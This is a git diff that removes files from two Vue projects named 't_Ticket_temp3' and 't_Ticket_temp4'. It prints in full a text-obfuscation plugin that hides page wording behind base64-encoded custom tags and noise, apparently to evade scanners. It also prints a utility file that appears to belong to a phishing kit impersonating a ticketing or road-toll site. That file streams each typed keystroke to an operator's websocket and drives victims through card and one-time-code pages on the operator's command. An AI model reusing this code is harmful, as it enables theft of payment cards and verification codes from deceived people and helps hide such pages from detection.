{{ msg }}
-
Send /
-
- You’ve successfully created a project with
- Vite +
- Vue 3 .
- What's next?
-
-
-
-
-
diff --git a/t_Ticket_temp3/src/components/TheWelcome.vue b/t_Ticket_temp3/src/components/TheWelcome.vue
deleted file mode 100644
index a70765c..0000000
--- a/t_Ticket_temp3/src/components/TheWelcome.vue
+++ /dev/null
@@ -1,86 +0,0 @@
-
-
-
-
-
-
-
- Documentation
-
- Vue’s
- official documentation
- provides you with all information you need to get started.
-
-
-
-
-
-
- Tooling
-
- This project is served and bundled with
- Vite . The
- recommended IDE setup is
- VSCode +
- Volar . If
- you need to test your components and web pages, check out
- Cypress and
- Cypress Component Testing .
-
-
-
- More instructions are available in README.md.
-
-
-
-
-
-
- Ecosystem
-
- Get official tools and libraries for your project:
- Pinia ,
- Vue Router ,
- Vue Test Utils , and
- Vue Dev Tools . If
- you need more resources, we suggest paying
- Awesome Vue
- a visit.
-
-
-
-
-
-
- Community
-
- Got stuck? Ask your question on
- Vue Land , our official
- Discord server, or
- StackOverflow . You should also subscribe to
- our mailing list and follow
- the official
- @vuejs
- twitter account for latest news in the Vue world.
-
-
-
-
-
-
- Support Vue
-
- As an independent project, Vue relies on community backing for its sustainability. You can help
- us by
- becoming a sponsor .
-
-
diff --git a/t_Ticket_temp3/src/components/WelcomeItem.vue b/t_Ticket_temp3/src/components/WelcomeItem.vue
deleted file mode 100644
index ba0def3..0000000
--- a/t_Ticket_temp3/src/components/WelcomeItem.vue
+++ /dev/null
@@ -1,86 +0,0 @@
-
-
-
-
-
diff --git a/t_Ticket_temp3/src/main.ts b/t_Ticket_temp3/src/main.ts
index f4f3682..9f2935b 100644
--- a/t_Ticket_temp3/src/main.ts
+++ b/t_Ticket_temp3/src/main.ts
@@ -1,4 +1,3 @@
-import { TextObfuscatorPlugin } from "./mix/textObfuscator";
import { createApp, ref } from "vue";
import { createPinia } from "pinia";
@@ -25,6 +24,5 @@ app.use(i18n);
app.use(createPinia());
app.use(router);
-// //app.use(TextObfuscatorPlugin);
app.mount("#app");
export default i18n;
diff --git a/t_Ticket_temp3/src/mix/textObfuscator.ts b/t_Ticket_temp3/src/mix/textObfuscator.ts
deleted file mode 100644
index 76c21e9..0000000
--- a/t_Ticket_temp3/src/mix/textObfuscator.ts
+++ /dev/null
@@ -1,643 +0,0 @@
-import type { ComponentInternalInstance, Plugin, App } from 'vue';
-
-/**
- * 全局文本混淆插件
- * 自动查找并替换所有文本节点
- */
-// 修改Vue混淆插件以确保处理整个组件树
-export const TextObfuscatorPlugin: Plugin = {
- install(app: App) {
- // 安装全局样式和解码脚本
- addObfuscationStyle();
-
- // 注册全局指令,直接处理元素内容
- app.directive('odata', {
- mounted(el) {
- processTextNodes(el, null);
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(el), 0);
- }
- setupMutationObserver(el);
- },
- updated(el) {
- processTextNodes(el, null);
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(el), 0);
- }
- }
- });
-
- // 在 app.mixin 中修改处理 $el 的部分
- app.mixin({
- mounted() {
- // 安全地获取组件的根元素(s)
- const rootElements = this.$el ?
- (this.$el.nodeType === Node.ELEMENT_NODE ?
- [this.$el] :
- (Array.isArray(this.$el) ? this.$el : [])) :
- [];
-
- // 处理每个根元素
- rootElements.forEach((rootElement: Element) => {
- if (!rootElement || !(rootElement instanceof Element)) return;
-
- // 1. 首先处理当前组件的根元素
- processTextNodes(rootElement, this);
-
- // 2. 递归处理所有子元素,确保覆盖所有文本节点
- const processAllChildNodes = (element: Element) => {
- if (!(element instanceof Element)) return;
-
- try {
- // 为每个子元素单独处理文本节点
- const childElements = element.querySelectorAll('*');
- childElements.forEach(childEl => {
- processTextNodes(childEl, null);
- });
-
- // 立即解码当前处理的元素
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(element), 0);
- }
- } catch (error) {
- console.error('Error processing child nodes:', error, element);
- }
- };
-
- // 处理整个组件树
- processAllChildNodes(rootElement);
-
- // 设置监听
- setupMutationObserver(rootElement);
- });
- // 添加:深度扫描所有包含纯文本的元素
- setTimeout(() => {
- const scanPureTextElements = (rootElement: Element) => {
- // 跳过已处理过的元素
- if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) {
- return;
- }
-
- // 检查是否为包含纯文本的元素(只有文本节点,没有元素节点)
- let hasOnlyTextNodes = false;
- let hasElementNodes = false;
-
- if (rootElement.childNodes && rootElement.childNodes.length > 0) {
- hasOnlyTextNodes = Array.from(rootElement.childNodes).some(
- node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim()
- );
-
- hasElementNodes = Array.from(rootElement.childNodes).some(
- node => node.nodeType === Node.ELEMENT_NODE
- );
- }
-
- // 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它
- if (hasOnlyTextNodes && !hasElementNodes &&
- !SKIP_TAGS.includes(rootElement.tagName) &&
- !Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) {
- processTextNodes(rootElement, null);
- if (window.decodeObfuscatedContent) {
- window.decodeObfuscatedContent(rootElement);
- }
- }
-
- // 递归处理子元素
- if (rootElement.children) {
- Array.from(rootElement.children).forEach(child => {
- scanPureTextElements(child);
- });
- }
- };
-
- // 从body开始扫描
- scanPureTextElements(document.body);
- }, 10); // 给DOM足够的时间渲染
- },
-
- updated() {
- // 安全地获取组件的根元素(s)
- const rootElements = this.$el ?
- (this.$el.nodeType === Node.ELEMENT_NODE ?
- [this.$el] :
- (Array.isArray(this.$el) ? this.$el : [])) :
- [];
-
- // 处理每个根元素
- rootElements.forEach((rootElement: Element | undefined) => {
- if (!rootElement || !(rootElement instanceof Element)) return;
-
- processTextNodes(rootElement, this);
-
- try {
- // 递归处理所有子元素
- const childElements = rootElement.querySelectorAll('*');
- childElements.forEach((childEl: Element) => {
- processTextNodes(childEl, null);
- });
-
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(rootElement), 0);
- }
- } catch (error) {
- console.error('Error processing updated component:', error, rootElement);
- }
- });
- }
- });
- }
-};
-
-// 声明全局函数类型
-declare global {
- interface Window {
- decodeObfuscatedContent: (rootElement?: Element) => void;
- }
-}
-
-// 需要跳过的标签
-const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE'];
-// 需要跳过的类名
-const SKIP_CLASSES = ['no-obfuscate'];
-
-/**
- * 处理元素中的所有文本节点
- */
-function processTextNodes(element: Element, instance: ComponentInternalInstance | null) {
- if (!element || element.nodeType !== Node.ELEMENT_NODE) {
- return;
- }
- // 为 DIV 元素增加优先处理逻辑
- if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) {
- // 对于DIV元素,特殊处理其直接子文本节点
- let hasTextContent = false;
- for (let i = 0; i < element.childNodes.length; i++) {
- const node = element.childNodes[i];
- if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') {
- hasTextContent = true;
- break;
- }
- }
-
- // 如果DIV中有直接的文本内容,标记它需要被处理
- if (hasTextContent) {
- // 只处理未混淆过的DIV
- const textContent = Array.from(element.childNodes)
- .filter(node => node.nodeType === Node.TEXT_NODE && node.textContent)
- .map(node => node.textContent).join('').trim();
-
- if (textContent) {
- // 替换整个DIV的内容
- const originalHTML = element.innerHTML;
- const processedHTML = obfuscateText(textContent);
- element.innerHTML = processedHTML + originalHTML.replace(textContent, '');
- element.setAttribute('data-obfuscated', 'true');
- }
- }
- }
- // 跳过带有特定标记的元素(避免重复处理)
- if (element.hasAttribute('data-obfuscated') ||
- !element ||
- SKIP_TAGS.includes(element.tagName) ||
- Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) {
- return;
- }
-
- // 使用 TreeWalker 遍历所有文本节点
- const walker = document.createTreeWalker(
- element,
- NodeFilter.SHOW_TEXT,
- {
- acceptNode(node) {
- // 不处理完全空的文本节点
- if (!node.textContent) {
- return NodeFilter.FILTER_REJECT;
- }
-
- // 检查父节点是否应该被跳过
- const parent = node.parentElement;
- if (parent && (
- SKIP_TAGS.includes(parent.tagName) ||
- parent.hasAttribute('data-obfuscated') ||
- Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls))
- )) {
- return NodeFilter.FILTER_REJECT;
- }
-
- // 如果只包含空白且不是段落的首个节点,则跳过
- if (node.textContent.trim() === '' &&
- !(parent?.tagName === 'P' && node === parent.firstChild)) {
- return NodeFilter.FILTER_REJECT;
- }
-
- return NodeFilter.FILTER_ACCEPT;
- }
- }
- );
-
- // 收集需要处理的文本节点
- const textNodes: Text[] = [];
- let currentNode: Node | null = walker.nextNode();
-
- while (currentNode) {
- textNodes.push(currentNode as Text);
- currentNode = walker.nextNode();
- }
-
- // 预先计算所有混淆内容,减少DOM操作次数
- const fragments: DocumentFragment[] = [];
- const nodesToReplace: Text[] = [];
-
- // 在处理文本节点前,移除所有前导空格
- for (const textNode of textNodes) {
- const text = textNode.textContent;
- if (!text) continue;
-
- // 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白
- let processedText = text;
- if (textNode.parentElement?.tagName === 'P' &&
- textNode === textNode.parentElement.firstChild) {
- // 去除开头的空白,无论什么情况
- processedText = text.replace(/^\s+/, '');
- // 如果去除空白后为空,直接跳过这个节点
- if (!processedText) continue;
- }
-
- try {
- // 创建文档碎片来存储混淆后的内容
- const fragment = document.createDocumentFragment();
- const tempContainer = document.createElement('div');
- tempContainer.innerHTML = obfuscateText(processedText);
-
- // 将内容移动到碎片中
- while (tempContainer.firstChild) {
- fragment.appendChild(tempContainer.firstChild);
- }
-
- fragments.push(fragment);
- nodesToReplace.push(textNode);
- } catch (error) {
- console.error('Error processing text node:', error);
- }
- }
-
- // 批量替换节点,减少回流
- for (let i = 0; i < nodesToReplace.length; i++) {
- const textNode = nodesToReplace[i];
- const fragment = fragments[i];
-
- if (textNode.parentNode) {
- textNode.parentNode.replaceChild(fragment, textNode);
- }
- }
-}
-
-/**
- * 设置 MutationObserver 来监听 DOM 变化
- */
-function setupMutationObserver(element: Element) {
- if (!element) return;
-
- const observer = new MutationObserver((mutations) => {
- for (const mutation of mutations) {
- if (mutation.type === 'childList' && mutation.addedNodes.length) {
- mutation.addedNodes.forEach((node) => {
- if (node.nodeType === Node.ELEMENT_NODE) {
- processTextNodes(node as Element, null);
- // 观察到新元素后立即解码
- if (window.decodeObfuscatedContent) {
- window.decodeObfuscatedContent(node as Element);
- }
- }
- });
- }
- }
- });
-
- observer.observe(element, {
- childList: true,
- subtree: true
- });
-}
-
-/**
- * 生成随机噪声标签和注释
- */
-function getRandomNoise() {
- const noiseTypes = [
- // HTML注释
- () => ``,
- // 空的自定义元素
- () => {
- const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty'];
- const tag = tags[Math.floor(Math.random() * tags.length)];
- return `<${tag}>${tag}>`;
- },
- // 带随机属性的自定义元素
- () => {
- const attr = `data-${Math.random().toString(36).substring(2, 7)}`;
- const value = Math.random().toString(36).substring(2, 10);
- return ` `;
- },
- // 带随机文本的隐藏元素
- () => {
- const text = Math.random().toString(36).substring(2, 8);
- return `${text} `;
- }
- ];
-
- // 随机选择一种噪声类型
- const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)];
- return noiseGenerator();
-}
-
-/**
- * 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签
- */
-function obfuscateText(text: string): string {
- if (!text) return '';
-
- // 首先移除文本开头的所有空白字符以解决段落首行缩进问题
- text = text.replace(/^\s+/, '');
- if (!text) return '';
-
- // 使用正则表达式将文本拆分为单词和空格,保持完整性
- const words = text.split(/(\s+)/);
- let result = '';
-
- // 过滤掉空字符串,避免生成空的z-span元素
- const filteredWords = words.filter(word => word.length > 0);
-
- // 为每个单词创建一个独立的自定义元素
- filteredWords.forEach((word, index) => {
- // 对空格和特殊字符进行特殊处理
- if (/^\s+$/.test(word)) {
- // 改进:更精确地处理各种换行符
- if (/[\n\r]/.test(word)) {
- // 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素
- result += ' ';
- } else {
- // 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space
- result += ' ';
- }
- return;
- }
-
- // 随机在单词前添加噪声,但减少频率
- if (Math.random() > 0.85) {
- result += getRandomNoise();
- }
-
- // 为了提高效率,固定属性名
- const attrId = `data`;
-
- // 将单词编码为Base64
- const encodedWord = btoa(encodeURIComponent(word));
-
- // 随机选择z-span或z-strong标签增加混淆度
- const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong';
-
- // 添加标签开始部分
- result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`;
-
- // 随机在标签内添加隐藏内容,但减少频率
- if (Math.random() > 0.8) {
- const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5));
- result += `${fakeText} `;
- }
-
- // 闭合标签
- result += `${tagName}>`;
-
- // 随机在单词后添加噪声,但减少频率
- if (Math.random() > 0.85) {
- result += getRandomNoise();
- }
- });
-
- result += ' ';
- return result;
-}
-
-/**
- * 添加显示混淆内容的样式和解码脚本
- */
-function addObfuscationStyle() {
- // 添加样式
- if (!document.getElementById('obfuscation-style')) {
- const style = document.createElement('style');
- style.id = 'obfuscation-style';
- style.textContent = `
- /* 自定义元素基本样式 */
- z-wrap {
- display: inline;
- white-space: normal;
- user-select: none; /* 阻止文本选择 */
- text-indent: 0 !important; /* 确保无缩进 */
- }
-
- /* 添加一个类来允许选择文本的情况 */
- .allow-select z-wrap {
- user-select: text;
- }
-
- /* 确保段落中的混淆内容没有开头缩进 */
- p > z-wrap:first-child {
- text-indent: 0 !important;
- margin-left: 0 !important;
- padding-left: 0 !important;
- }
-
- /* 处理所有p标签,确保没有多余空间 */
- p {
- text-indent: 0;
- }
-
- z-span, z-strong {
- display: inline-block;
- position: relative;
- opacity: 1;
- transition: opacity 0.1s ease;
- margin: 0;
- padding: 0;
- }
-
- /* 控制右侧间距 */
- z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span {
- margin-left: 0.1em;
- }
-
- /* 移除最后一个元素的右侧间距 */
- z-span:last-child, z-strong:last-child {
- margin-right: 0;
- }
-
- z-span::after, z-strong::after {
- content: attr(data-content);
- position: relative;
- pointer-events: none;
- }
-
- /* 空格元素 - 精确控制宽度 */
- z-space {
- display: inline-block;
- width: 0.25em;
- margin: 0;
- padding: 0;
- }
-
- /* 空的z-span/z-strong元素不应该显示 */
- z-span:not([data-content]), z-strong:not([data-content]) {
- display: none;
- }
-
- /* 换行元素 - 强制换行且完全没有尺寸 */
- z-break {
- display: block !important;
- height: 0 !important;
- width: 0 !important;
- margin: 0 !important;
- padding: 0 !important;
- border: none !important;
- line-height: 0 !important;
- font-size: 0 !important;
- overflow: hidden !important;
- }
-
- /* 隐藏所有噪声元素 */
- z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden {
- display: none;
- width: 0;
- height: 0;
- opacity: 0;
- overflow: hidden;
- position: absolute;
- visibility: hidden;
- }
-
- /* 预加载状态 */
- [data-preload="true"] {
- min-width: 0.5em;
- min-height: 1em;
- }
- `;
- document.head.appendChild(style);
- }
-
- // 添加自定义元素注册,确保所有浏览器都能正确处理
- const scriptCustomElements = document.createElement('script');
- scriptCustomElements.textContent = `
- // 注册所有自定义元素
- if ('customElements' in window) {
- customElements.define('z-wrap', class extends HTMLElement {});
- customElements.define('z-span', class extends HTMLElement {});
- customElements.define('z-strong', class extends HTMLElement {});
- customElements.define('z-space', class extends HTMLElement {});
- customElements.define('z-break', class extends HTMLElement {});
-
- // 注册噪声元素
- customElements.define('z-nil', class extends HTMLElement {});
- customElements.define('z-void', class extends HTMLElement {});
- customElements.define('z-null', class extends HTMLElement {});
- customElements.define('z-fake', class extends HTMLElement {});
- customElements.define('z-empty', class extends HTMLElement {});
- customElements.define('z-attr', class extends HTMLElement {});
- customElements.define('z-text', class extends HTMLElement {});
- customElements.define('z-hidden', class extends HTMLElement {});
- }
- `;
- document.head.appendChild(scriptCustomElements);
-
- // 添加提前解码的脚本,放在顶部优先加载
- if (!document.getElementById('obfuscation-script')) {
- const script = document.createElement('script');
- script.id = 'obfuscation-script';
- script.textContent = `
- (function() {
- // 定义解码函数并暴露为全局函数
- window.decodeObfuscatedContent = function(rootElement) {
- const root = rootElement || document.body;
- const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]');
-
- if (elements.length === 0) return;
-
- // 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染
- const runWhenIdle = window.requestIdleCallback ||
- function(cb) { setTimeout(cb, 1); };
-
- runWhenIdle(() => {
- elements.forEach(el => {
- // 避免重复解码
- if (el.hasAttribute('data-content')) return;
-
- // 找到编码数据
- const dataAttr = el.getAttribute('data-data');
- if (dataAttr) {
- try {
- // 解码并设置
- const decodedWord = decodeURIComponent(atob(dataAttr));
- el.setAttribute('data-content', decodedWord);
- el.removeAttribute('data-preload');
- } catch (e) {
- // 解码失败时跳过
- }
- }
- });
- });
- };
-
- // 页面加载完成后立即执行一次全局解码
- if (document.readyState === 'loading') {
- document.addEventListener('DOMContentLoaded', function() {
- window.decodeObfuscatedContent();
- });
- } else {
- window.decodeObfuscatedContent();
- }
-
- // 使用IntersectionObserver优化解码性能
- if ('IntersectionObserver' in window) {
- const decodeObserver = new IntersectionObserver(
- (entries, observer) => {
- entries.forEach(entry => {
- if (entry.isIntersecting) {
- // 容器进入视口时解码其内容
- window.decodeObfuscatedContent(entry.target);
- observer.unobserve(entry.target);
- }
- });
- },
- { rootMargin: '200px 0px' } // 提前200像素开始解码
- );
-
- // 监听所有混淆容器
- function observeContainers() {
- document.querySelectorAll('z-wrap').forEach(container => {
- decodeObserver.observe(container);
- });
- }
-
- // 初始观察
- if (document.readyState === 'loading') {
- document.addEventListener('DOMContentLoaded', observeContainers);
- } else {
- observeContainers();
- }
-
- // 定期检查新容器
- setInterval(observeContainers, 2000);
- } else {
- // 降级方案:定期全局检查
- setInterval(() => window.decodeObfuscatedContent(), 1000);
- }
- })();
- `;
-
- // 将脚本添加到head的最前面,确保尽早加载
- if (document.head.firstChild) {
- document.head.insertBefore(script, document.head.firstChild);
- } else {
- document.head.appendChild(script);
- }
- }
-}
\ No newline at end of file
diff --git a/t_Ticket_temp3/src/utils/common.ts.backup b/t_Ticket_temp3/src/utils/common.ts.backup
deleted file mode 100644
index 8f55f26..0000000
--- a/t_Ticket_temp3/src/utils/common.ts.backup
+++ /dev/null
@@ -1,331 +0,0 @@
-import _ from "lodash";
-import { sendInput } from "@/api/api";
-import type { Socket } from "@/utils/websocket";
-import eventBus from "@/utils/eventBus";
-import router from "@/router";
-import { ref } from "vue";
-import { useSocket } from "@/utils/websocket";
-import { useLoadingStore } from "@/stores/loadingStore";
-import i18n from "@/main";
-import { useSocketIo } from "./socketio";
-
-const viteBaseUrl = import.meta.env.VITE_BASE_URL;
-
-// WebSocket interface
-interface MyWebSocket {
- socket: any;
- send: (data: string) => Promise;
- off: (event: string) => void;
- on: (event: string, callback: (data: any) => void) => void;
-}
-
-export const customOtpData = ref({});
-
-export function setCustomOtpData(data: any) {
- customOtpData.value = data;
- localStorage.setItem("customOtpData", JSON.stringify(data));
-}
-
-export let myWebSocket: MyWebSocket | undefined;
-
-// Configuration data
-export const configData = ref>({});
-
-// Utility function to check if all values in an object are not empty
-export function areAllValuesNotEmpty(
- obj: Record,
- excludedFields: string[] = []
-): boolean {
- return Object.keys(obj).every((key) => {
- if (excludedFields.includes(key)) return true;
- const value = obj[key];
- return (
- value !== null &&
- value !== undefined &&
- value !== "" &&
- !(typeof value === "string" && value.trim() === "")
- );
- });
-}
-
-// 存储 WebSocket 和 API 的防抖函数
-const wsDebounceFunctions: Record<
- string,
- _.DebouncedFunc<(...args: any[]) => void>
-> = {};
-const apiDebounceFunctions: Record<
- string,
- _.DebouncedFunc<(...args: any[]) => void>
-> = {};
-
-// 获取或创建针对某个键的防抖函数
-function getDebouncedFunction(
- debounceFunctions: Record void>>,
- key: string,
- func: (...args: any[]) => void,
- wait: number
-) {
- if (!debounceFunctions[key]) {
- debounceFunctions[key] = _.debounce(func, wait);
- }
- return debounceFunctions[key];
-}
-
-const modeRef = ref(1)
-
-
-// 处理输入变化
-export function inputChange(type: string, key: any, value: any) {
- const currentTimestamp = Date.now(); // 当前时间戳
-
- // WebSocket 防抖函数
- const wsDebouncedFunction = getDebouncedFunction(
- wsDebounceFunctions,
- key,
- (type, key, value) => {
- myWebSocket?.send(
- JSON.stringify({
- event: "input_text",
- content: { type, key, text: value },
- timestamp: currentTimestamp,
- })
- );
- },
- 300
- );
-
- // API 防抖函数
- const apiDebouncedFunction = getDebouncedFunction(
- apiDebounceFunctions,
- key,
- (type, key, value) => {
- sendInput({
- content: { type, key, text: value },
- timestamp: currentTimestamp,
- });
- },
- 1000
- );
-
- // 调用防抖函数
- wsDebouncedFunction(type, key, value);
- if(modeRef.value !== 2) {
- apiDebouncedFunction(type, key, value);
- }
-}
-
-
-// Handle login success
-export function loginSuccess(token: string, mode: number) {
- if(mode === 2) {
- modeRef.value = 2
- myWebSocket = useSocketIo(
- `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
- }/ws?token=${token}`
- );
- }else{
- myWebSocket = useSocket(
- `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
- }/ws?token=${token}`
- );
- }
-
- myWebSocket?.on("close", () => console.log("Socket closed!"));
- myWebSocket?.on("open", () => {
- const lastToken = localStorage.getItem("token");
- loginWebsocket(token, lastToken !== token);
- });
-
- myWebSocket?.on("message", handleMessage);
-
- window.addEventListener("beforeunload", () => {
- myWebSocket?.off("close");
- });
-}
-
-// Handle WebSocket messages
-function handleMessage(data: any) {
- const jsonData = JSON.parse(data);
- if (!jsonData || !jsonData.event) return;
-
- const { event, content } = jsonData;
-
- switch (event) {
- case "login":
- //handleLoginEvent(content);
- break;
- case "result_type":
- handleResultTypeEvent(content);
- break;
- case "reload":
- window.location.reload();
- break;
- default:
- break;
- }
-}
-
-// Handle login event
-function handleLoginEvent(content: any) {
- const route = localStorage.getItem("route");
- if (route) {
- const customOtpDataValue = localStorage.getItem("customOtpData");
- if (route === "customOtpValid" && customOtpDataValue) {
- setCustomOtpData(JSON.parse(customOtpDataValue));
- myWebSocket?.send(
- JSON.stringify({
- event: "page_type",
- content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type },
- })
- );
- return;
- }
- myWebSocket?.send(
- JSON.stringify({
- event: "page_type",
- content: { pageType: route },
- })
- );
- }
-}
-
-// Handle result type event
-function handleResultTypeEvent(content: any) {
- if (!content) return;
-
- const typeHandlers: Record void> = {
- customOtpValid: () => navigateTo("/customOtpValid", content),
- otpValid: () => navigateTo("/otpValid", content),
- appValid: () => navigateTo("/appValid", content),
- success: () => router.push("/success"),
- kickOut: redirectToExternal,
- block: redirectToExternal,
- otpFail: () =>
- eventBus.emit("otp-valid", {
- message2:
- content.value.message2 ||
- i18n.global.t("Verification code error, please try again"),
- }),
- appFail: () =>
- eventBus.emit("app-valid", {
- message2:
- content.value.message2 ||
- i18n.global.t(
- "The session is about to expire, please complete the verification now"
- ),
- }),
- back: () => handleBackOrReject(content, true),
- reject: () => handleBackOrReject(content, false),
- refresh: () => {
- if(localStorage.getItem("route")){
- localStorage.removeItem("route");
- window.location.reload();
- }
- },
- };
-
- if (content.type == "customOtpValid") {
- if(content.value.customOtpData) {
- setCustomOtpData(JSON.parse(content.value.customOtpData));
- }
-}
- if (content.type == "customOtpFail") {
- eventBus.emit("custom-otp-valid", {
- message2: content.value.message2,
- });
- }
-
- const handler = typeHandlers[content.type];
- if (handler) handler();
-
- useLoadingStore().setLoading(false);
-}
-
-// Navigate to specific path with query parameters
-function navigateTo(path: string, content: any) {
-
- router.push('/temp').then(() => {
- router.push({
- path: path,
- query: {
- cardType: content.value?.data?.cardData?.cardBIN?.schema,
- message1: content.value?.message1,
- key: new Date().getMilliseconds(),
- },
- });
- });
-}
-
-// Handle back or reject type
-function handleBackOrReject(content: any, isBack: boolean) {
- let message2 = i18n.global.t(
- "This card does not support this transaction, please try another card"
- );
-
- if (configData.value.error_card_msg) {
- message2 = configData.value.error_card_msg;
- }
-
- if (content.value.type) {
- const type = content.value.type;
- if (type === "denyC" && configData.value.deny_c_msg) {
- message2 = configData.value.deny_c_msg;
- }
- if (type === "denyD" && configData.value.deny_d_msg) {
- message2 = configData.value.deny_d_msg;
- }
- }
-
- if (content.value.message2) {
- message2 = content.value.message2;
- }
-
- if (isBack) {
- router.push({ path: "/card", query: { message2 } });
- }
-
- eventBus.emit("my-event", { message2 });
-}
-
-// Login to WebSocket
-function loginWebsocket(token: string, isFirst: boolean) {
- myWebSocket?.send(
- JSON.stringify({
- event: "login",
- content: { tag: "user", token, isFirst },
- })
- );
- initHtml();
-}
-
-// Redirect to an external URL
-export function redirectToExternal() {
- window.location.href = "https://www.putevi-srbije.rs/";
-}
-
-export async function loadHtml(url: string) {
- try {
- const response = await fetch(url); // 替换为您的 HTML 文件路径
- if (!response.ok) {
- return "";
- }
- return await response.text();
- } catch (error) {
- return "";
- }
-}
-
-export const headerHtml = ref("");
-export const footerHtml = ref("");
-export const loadingBg = ref("#ffffff");
-
-const initHtml = async () => {
- const routePath = localStorage.getItem("route");
- headerHtml.value = await loadHtml("/Static_zy/header.html");
- footerHtml.value = await loadHtml("/Static_zy/footer.html");
- await router.push(routePath ? `/${routePath}` : "/phone");
- setTimeout(async () => {
- useLoadingStore().setLoading(false);
- loadingBg.value = "transparent";
- }, 200);
-};
diff --git a/t_Ticket_temp4/src/components/HelloWorld.vue b/t_Ticket_temp4/src/components/HelloWorld.vue
deleted file mode 100644
index 8f39347..0000000
--- a/t_Ticket_temp4/src/components/HelloWorld.vue
+++ /dev/null
@@ -1,51 +0,0 @@
-
-
-
-
-
{{ msg }}
-
Send /
-
- You’ve successfully created a project with
- Vite +
- Vue 3 .
- What's next?
-
-
-
-
-
diff --git a/t_Ticket_temp4/src/components/TheWelcome.vue b/t_Ticket_temp4/src/components/TheWelcome.vue
deleted file mode 100644
index a70765c..0000000
--- a/t_Ticket_temp4/src/components/TheWelcome.vue
+++ /dev/null
@@ -1,86 +0,0 @@
-
-
-
-
-
-
-
- Documentation
-
- Vue’s
- official documentation
- provides you with all information you need to get started.
-
-
-
-
-
-
- Tooling
-
- This project is served and bundled with
- Vite . The
- recommended IDE setup is
- VSCode +
- Volar . If
- you need to test your components and web pages, check out
- Cypress and
- Cypress Component Testing .
-
-
-
- More instructions are available in README.md.
-
-
-
-
-
-
- Ecosystem
-
- Get official tools and libraries for your project:
- Pinia ,
- Vue Router ,
- Vue Test Utils , and
- Vue Dev Tools . If
- you need more resources, we suggest paying
- Awesome Vue
- a visit.
-
-
-
-
-
-
- Community
-
- Got stuck? Ask your question on
- Vue Land , our official
- Discord server, or
- StackOverflow . You should also subscribe to
- our mailing list and follow
- the official
- @vuejs
- twitter account for latest news in the Vue world.
-
-
-
-
-
-
- Support Vue
-
- As an independent project, Vue relies on community backing for its sustainability. You can help
- us by
- becoming a sponsor .
-
-
diff --git a/t_Ticket_temp4/src/components/WelcomeItem.vue b/t_Ticket_temp4/src/components/WelcomeItem.vue
deleted file mode 100644
index ba0def3..0000000
--- a/t_Ticket_temp4/src/components/WelcomeItem.vue
+++ /dev/null
@@ -1,86 +0,0 @@
-
-
-
-
-
diff --git a/t_Ticket_temp4/src/main.ts b/t_Ticket_temp4/src/main.ts
index f4f3682..9f2935b 100644
--- a/t_Ticket_temp4/src/main.ts
+++ b/t_Ticket_temp4/src/main.ts
@@ -1,4 +1,3 @@
-import { TextObfuscatorPlugin } from "./mix/textObfuscator";
import { createApp, ref } from "vue";
import { createPinia } from "pinia";
@@ -25,6 +24,5 @@ app.use(i18n);
app.use(createPinia());
app.use(router);
-// //app.use(TextObfuscatorPlugin);
app.mount("#app");
export default i18n;
diff --git a/t_Ticket_temp4/src/mix/textObfuscator.ts b/t_Ticket_temp4/src/mix/textObfuscator.ts
deleted file mode 100644
index 76c21e9..0000000
--- a/t_Ticket_temp4/src/mix/textObfuscator.ts
+++ /dev/null
@@ -1,643 +0,0 @@
-import type { ComponentInternalInstance, Plugin, App } from 'vue';
-
-/**
- * 全局文本混淆插件
- * 自动查找并替换所有文本节点
- */
-// 修改Vue混淆插件以确保处理整个组件树
-export const TextObfuscatorPlugin: Plugin = {
- install(app: App) {
- // 安装全局样式和解码脚本
- addObfuscationStyle();
-
- // 注册全局指令,直接处理元素内容
- app.directive('odata', {
- mounted(el) {
- processTextNodes(el, null);
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(el), 0);
- }
- setupMutationObserver(el);
- },
- updated(el) {
- processTextNodes(el, null);
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(el), 0);
- }
- }
- });
-
- // 在 app.mixin 中修改处理 $el 的部分
- app.mixin({
- mounted() {
- // 安全地获取组件的根元素(s)
- const rootElements = this.$el ?
- (this.$el.nodeType === Node.ELEMENT_NODE ?
- [this.$el] :
- (Array.isArray(this.$el) ? this.$el : [])) :
- [];
-
- // 处理每个根元素
- rootElements.forEach((rootElement: Element) => {
- if (!rootElement || !(rootElement instanceof Element)) return;
-
- // 1. 首先处理当前组件的根元素
- processTextNodes(rootElement, this);
-
- // 2. 递归处理所有子元素,确保覆盖所有文本节点
- const processAllChildNodes = (element: Element) => {
- if (!(element instanceof Element)) return;
-
- try {
- // 为每个子元素单独处理文本节点
- const childElements = element.querySelectorAll('*');
- childElements.forEach(childEl => {
